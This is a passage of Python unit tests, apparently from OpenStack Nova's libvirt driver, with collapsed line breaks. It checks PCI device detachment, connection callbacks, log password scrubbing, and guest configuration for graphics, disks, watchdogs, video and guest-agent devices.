libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, 'has_min_version') libvirt_driver.LibvirtDriver.has_min_version = lambda x, y: True self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, 'get_guest_pci_device') class FakeDev(): def to_xml(self): pass libvirt_driver.LibvirtDriver.get_guest_pci_device =\ lambda x, y: FakeDev() class FakeDomain(): def detachDeviceFlags(self, xml, flag): pci_devices[0]['hypervisor_name'] = 'marked' pass def XMLDesc(self, flag): return fake_domXML1 conn._detach_pci_devices(FakeDomain(), pci_devices) self.assertEqual(pci_devices[0]['hypervisor_name'], 'marked') def test_detach_pci_devices_timeout(self): fake_domXML1 =\ """<domain> <devices> <hostdev mode="subsystem" type="pci" managed="yes"> <source> <address function="0x1" slot="0x10" domain="0x0000" bus="0x04"/> </source> </hostdev> </devices> </domain>""" pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid', address="0000:04:10:1")] conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, 'has_min_version') libvirt_driver.LibvirtDriver.has_min_version = lambda x, y: True self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, 'get_guest_pci_device') class FakeDev(): def to_xml(self): pass libvirt_driver.LibvirtDriver.get_guest_pci_device =\ lambda x, y: FakeDev() class FakeDomain(): def detachDeviceFlags(self, xml, flag): pass def XMLDesc(self, flag): return fake_domXML1 self.assertRaises(exception.PciDeviceDetachFailed, conn._detach_pci_devices, FakeDomain(), pci_devices) def test_get_connector(self): initiator = 'fake.initiator.iqn' ip = 'fakeip' host = 'fakehost' wwpns = ['100010604b019419'] wwnns = ['200010604b019419'] self.flags(my_ip=ip) self.flags(host=host) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) expected = { 'ip': ip, 'initiator': initiator, 'host': host, 'wwpns': wwpns, 'wwnns': wwnns } volume = { 'id': 'fake' } result = conn.get_volume_connector(volume) self.assertThat(expected, matchers.DictMatches(result)) def test_lifecycle_event_registration(self): calls = [] def fake_registerErrorHandler(*args, **kwargs): calls.append('fake_registerErrorHandler') def fake_get_host_capabilities(**args): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = "armv7l" caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu calls.append('fake_get_host_capabilities') return caps @mock.patch.object(libvirt, 'registerErrorHandler', side_effect=fake_registerErrorHandler) @mock.patch.object(libvirt_driver.LibvirtDriver, 'get_host_capabilities', side_effect=fake_get_host_capabilities) def test_init_host(get_host_capabilities, register_error_handler): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conn.init_host("test_host") test_init_host() # NOTE(dkliban): Will fail if get_host_capabilities is called before # registerErrorHandler self.assertEqual(['fake_registerErrorHandler', 'fake_get_host_capabilities'], calls) def test_sanitize_log_to_xml(self): # setup fake data data = {'auth_password': 'scrubme'} bdm = [{'connection_info': {'data': data}}] bdi = {'block_device_mapping': bdm} # Tests that the parameters to the to_xml method are sanitized for # passwords when logged. def fake_debug(*args, **kwargs): if 'auth_password' in args[0]: self.assertNotIn('scrubme', args[0]) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conf = mock.Mock() with contextlib.nested( mock.patch.object(libvirt_driver.LOG, 'debug', side_effect=fake_debug), mock.patch.object(conn, 'get_guest_config', return_value=conf) ) as ( debug_mock, conf_mock ): conn.to_xml(self.context, self.test_instance, network_info={}, disk_info={}, image_meta={}, block_device_info=bdi) # we don't care what the log message is, we just want to make sure # our stub method is called which asserts the password is scrubbed self.assertTrue(debug_mock.called) def test_close_callback(self): self.close_callback = None def set_close_callback(cb, opaque): self.close_callback = cb conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) service_mock = mock.MagicMock() service_mock.disabled.return_value = False with contextlib.nested( mock.patch.object(conn, "_connect", return_value=self.conn), mock.patch.object(self.conn, "registerCloseCallback", side_effect=set_close_callback), mock.patch.object(service_obj.Service, "get_by_compute_host", return_value=service_mock)): # verify that the driver registers for the close callback # and re-connects after receiving the callback conn._get_connection() self.assertFalse(service_mock.disabled) self.assertTrue(self.close_callback) conn._init_events_pipe() self.close_callback(self.conn, 1, None) conn._dispatch_events() self.assertTrue(service_mock.disabled) conn._get_connection() def test_close_callback_bad_signature(self): '''Validates that a connection to libvirt exist, even when registerCloseCallback method has a different number of arguments in the libvirt python library. ''' conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) service_mock = mock.MagicMock() service_mock.disabled.return_value = False with contextlib.nested( mock.patch.object(conn, "_connect", return_value=self.conn), mock.patch.object(self.conn, "registerCloseCallback", side_effect=TypeError('dd')), mock.patch.object(service_obj.Service, "get_by_compute_host", return_value=service_mock)): connection = conn._get_connection() self.assertTrue(connection) def test_close_callback_not_defined(self): '''Validates that a connection to libvirt exist, even when registerCloseCallback method missing from the libvirt python library. ''' conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) service_mock = mock.MagicMock() service_mock.disabled.return_value = False with contextlib.nested( mock.patch.object(conn, "_connect", return_value=self.conn), mock.patch.object(self.conn, "registerCloseCallback", side_effect=AttributeError('dd')), mock.patch.object(service_obj.Service, "get_by_compute_host", return_value=service_mock)): connection = conn._get_connection() self.assertTrue(connection) def test_cpu_features_bug_1217630(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) # Test old version of libvirt, it shouldn't see the `aes' feature with mock.patch('nova.virt.libvirt.driver.libvirt') as mock_libvirt: del mock_libvirt.VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES caps = conn.get_host_capabilities() self.assertNotIn('aes', [x.name for x in caps.host.cpu.features]) # Test new verion of libvirt, should find the `aes' feature with mock.patch('nova.virt.libvirt.driver.libvirt') as mock_libvirt: mock_libvirt['VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES'] = 1 # Cleanup the capabilities cache firstly conn._caps = None caps = conn.get_host_capabilities() self.assertIn('aes', [x.name for x in caps.host.cpu.features]) def test_lxc_get_host_capabilities_failed(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) with mock.patch.object(conn._conn, 'baselineCPU', return_value=-1): setattr(libvirt, 'VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES', 1) caps = conn.get_host_capabilities() delattr(libvirt, 'VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES') self.assertEqual(vconfig.LibvirtConfigCaps, type(caps)) self.assertNotIn('aes', [x.name for x in caps.host.cpu.features]) def test_get_guest_config(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertEqual(cfg.uuid, instance_ref["uuid"]) self.assertEqual(cfg.acpi, True) self.assertEqual(cfg.apic, True) self.assertEqual(cfg.memory, 2 * units.Mi) self.assertEqual(cfg.vcpus, 1) self.assertEqual(cfg.os_type, vm_mode.HVM) self.assertEqual(cfg.os_boot_dev, ["hd"]) self.assertIsNone(cfg.os_root) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestVideo) def test_get_guest_config_clock(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {} hpet_map = { "x86_64": True, "i686": True, "ppc": False, "ppc64": False, "armv7": False, "aarch64": False, } for arch, expect_hpet in hpet_map.items(): with mock.patch.object(libvirt_driver.libvirt_utils, 'get_arch', return_value=arch): cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "utc") self.assertIsInstance(cfg.clock.timers[0], vconfig.LibvirtConfigGuestTimer) self.assertIsInstance(cfg.clock.timers[1], vconfig.LibvirtConfigGuestTimer) self.assertEqual(cfg.clock.timers[0].name, "pit") self.assertEqual(cfg.clock.timers[0].tickpolicy, "delay") self.assertEqual(cfg.clock.timers[1].name, "rtc") self.assertEqual(cfg.clock.timers[1].tickpolicy, "catchup") if expect_hpet: self.assertEqual(4, len(cfg.clock.timers)) self.assertIsInstance(cfg.clock.timers[3], vconfig.LibvirtConfigGuestTimer) self.assertEqual('hpet', cfg.clock.timers[3].name) self.assertFalse(cfg.clock.timers[3].present) else: self.assertEqual(3, len(cfg.clock.timers)) def test_get_guest_config_windows(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) instance_ref['os_type'] = 'windows' disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "localtime") def test_get_guest_config_with_two_nics(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 2), None, disk_info) self.assertEqual(cfg.acpi, True) self.assertEqual(cfg.memory, 2 * units.Mi) self.assertEqual(cfg.vcpus, 1) self.assertEqual(cfg.os_type, vm_mode.HVM) self.assertEqual(cfg.os_boot_dev, ["hd"]) self.assertIsNone(cfg.os_root) self.assertEqual(len(cfg.devices), 9) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) def test_get_guest_config_bug_1118829(self): self.flags(virt_type='uml', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = {'disk_bus': 'virtio', 'cdrom_bus': 'ide', 'mapping': {u'vda': {'bus': 'virtio', 'type': 'disk', 'dev': u'vda'}, 'root': {'bus': 'virtio', 'type': 'disk', 'dev': 'vda'}}} # NOTE(jdg): For this specific test leave this blank # This will exercise the failed code path still, # and won't require fakes and stubs of the iscsi discovery block_device_info = {} cfg = conn.get_guest_config(instance_ref, [], None, disk_info, None, block_device_info) instance_ref = db.instance_get(self.context, instance_ref['id']) self.assertEqual(instance_ref['root_device_name'], '/dev/vda') def test_get_guest_config_with_root_device_name(self): self.flags(virt_type='uml', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) block_device_info = {'root_device_name': '/dev/vdb'} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, block_device_info) cfg = conn.get_guest_config(instance_ref, [], None, disk_info, None, block_device_info) self.assertEqual(cfg.acpi, False) self.assertEqual(cfg.memory, 2 * units.Mi) self.assertEqual(cfg.vcpus, 1) self.assertEqual(cfg.os_type, "uml") self.assertEqual(cfg.os_boot_dev, []) self.assertEqual(cfg.os_root, '/dev/vdb') self.assertEqual(len(cfg.devices), 3) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestConsole) def test_get_guest_config_with_block_device(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) conn_info = {'driver_volume_type': 'fake'} info = {'block_device_mapping': [ mocked_bdm(1, {'connection_info': conn_info, 'mount_device': '/dev/vdc'}), mocked_bdm(2, {'connection_info': conn_info, 'mount_device': '/dev/vdd'}), ]} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, info) cfg = conn.get_guest_config(instance_ref, [], None, disk_info, None, info) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, 'vdc') self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[3].target_dev, 'vdd') self.assertTrue(info['block_device_mapping'][0].save.called) self.assertTrue(info['block_device_mapping'][1].save.called) def test_get_guest_config_with_configdrive(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) # make configdrive.required_by() return True instance_ref['config_drive'] = True disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, 'hdd') def test_get_guest_config_with_virtio_scsi_bus(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {"properties": {"hw_scsi_model": "virtio-scsi"}} instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, [], image_meta) cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestController) self.assertEqual(cfg.devices[2].model, 'virtio-scsi') def test_get_guest_config_with_virtio_scsi_bus_bdm(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {"properties": {"hw_scsi_model": "virtio-scsi"}} instance_ref = db.instance_create(self.context, self.test_instance) conn_info = {'driver_volume_type': 'fake'} bd_info = {'block_device_mapping': [ mocked_bdm(1, {'connection_info': conn_info, 'mount_device': '/dev/sdc', 'disk_bus': 'scsi'}), mocked_bdm(2, {'connection_info': conn_info, 'mount_device': '/dev/sdd', 'disk_bus': 'scsi'}), ]} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, bd_info, image_meta) cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info, [], bd_info) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, 'sdc') self.assertEqual(cfg.devices[2].target_bus, 'scsi') self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[3].target_dev, 'sdd') self.assertEqual(cfg.devices[3].target_bus, 'scsi') self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestController) self.assertEqual(cfg.devices[4].model, 'virtio-scsi') def test_get_guest_config_with_vnc(self): self.flags(vnc_enabled=True) self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') self.flags(enabled=False, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertEqual(len(cfg.devices), 6) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[4].type, "vnc") def test_get_guest_config_with_vnc_and_tablet(self): self.flags(vnc_enabled=True) self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=False, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "vnc") def test_get_guest_config_with_spice_and_tablet(self): self.flags(vnc_enabled=False) self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=True, agent_enabled=False, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "spice") def test_get_guest_config_with_spice_and_agent(self): self.flags(vnc_enabled=False) self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[4].target_name, "com.redhat.spice.0") self.assertEqual(cfg.devices[5].type, "spice") self.assertEqual(cfg.devices[6].type, "qxl") def test_get_guest_config_with_type_xen(self): self.flags(vnc_enabled=True) self.flags(virt_type='xen', use_usb_tablet=False, group='libvirt') self.flags(enabled=False, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertEqual(len(cfg.devices), 5) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestConsole) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[3].type, "vnc") self.assertEqual(cfg.devices[4].type, "xen") def test_get_guest_config_with_vnc_and_spice(self): self.flags(vnc_enabled=True) self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) self.assertEqual(len(cfg.devices), 9) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].target_name, "com.redhat.spice.0") self.assertEqual(cfg.devices[6].type, "vnc") self.assertEqual(cfg.devices[7].type, "spice") def test_invalid_watchdog_action(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_watchdog_action": "something"}} self.assertRaises(exception.InvalidWatchdogAction, conn.get_guest_config, instance_ref, [], image_meta, disk_info) def test_get_guest_config_with_watchdog_action_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_watchdog_action": "none"}} cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestWatchdog) self.assertEqual("none", cfg.devices[7].action) def test_get_guest_config_with_watchdog_action_through_flavor(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) flavor = db.flavor_get(self.context, self.test_instance['instance_type_id']) db.flavor_extra_specs_update_or_create( self.context, flavor['flavorid'], {'hw_watchdog_action': 'none'}) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], {}, disk_info) db.flavor_extra_specs_delete(self.context, flavor['flavorid'], 'hw_watchdog_action') self.assertEqual(8, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestWatchdog) self.assertEqual("none", cfg.devices[7].action) def test_get_guest_config_with_watchdog_action_meta_overrides_flavor(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) flavor = db.flavor_get(self.context, self.test_instance['instance_type_id']) db.flavor_extra_specs_update_or_create( self.context, flavor['flavorid'], {'hw_watchdog_action': 'none'}) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_watchdog_action": "pause"}} cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) db.flavor_extra_specs_delete(self.context, flavor['flavorid'], 'hw_watchdog_action') self.assertEqual(8, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestWatchdog) self.assertEqual("pause", cfg.devices[7].action) def test_unsupported_video_driver_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_video_model": "something"}} self.assertRaises(exception.InvalidVideoMode, conn.get_guest_config, instance_ref, [], image_meta, disk_info) def test_get_guest_config_with_video_driver_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_video_model": "vmvga"}} cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[5].type, "vnc") self.assertEqual(cfg.devices[6].type, "vmvga") def test_get_guest_config_with_qga_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_qemu_guest_agent": "yes"}} cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestChannel) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "vnc") self.assertEqual(cfg.devices[7].type, "unix") self.assertEqual(cfg.devices[7].target_name, "org.qemu.guest_agent.0") def 